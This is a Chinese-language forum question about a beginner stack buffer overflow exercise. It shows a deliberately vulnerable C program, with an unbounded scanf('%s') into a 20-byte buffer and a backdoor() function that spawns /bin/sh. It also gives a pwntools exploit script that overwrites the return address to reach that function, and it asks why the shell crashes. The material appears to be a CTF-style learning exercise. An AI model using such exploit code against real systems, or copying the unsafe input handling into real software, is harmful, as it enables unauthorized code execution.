pwn 用于简单的堆栈溢出

时间:2021-07-20 01:18:21

标签: gdb buffer-overflow libc pwntools

程序在这里:

int backdoor() {
    printf("backdoor\n");   
    return system("/bin/sh");
}

void func() {
    char buf[20];
    printf("Hello man.Say sth.\n");
    scanf("%s",buf);
    printf("you say:%s\n",buf);
}

int main(){
    func();
    return 0;
}

exp.py 在这里:

from pwn import *
context(os='linux',log_level='debug') #打印调试信息
conn = process('./demo')
backdoor = 0x40116d

conn.recv()
payload = b'a' * (0x20 + 8) + p64(backdoor)

conn.sendline(payload)
conn.recv()
conn.interactive()

我确定我进入了后门函数,因为调试信息显示我在后门中收到了printf函数的输出“后门”。但是当我输入“id”时,程序出错了。 shotcut for the error

我怎样才能成功解决它?

错误在这里: enter image description here

0 个答案:

没有答案
相关问题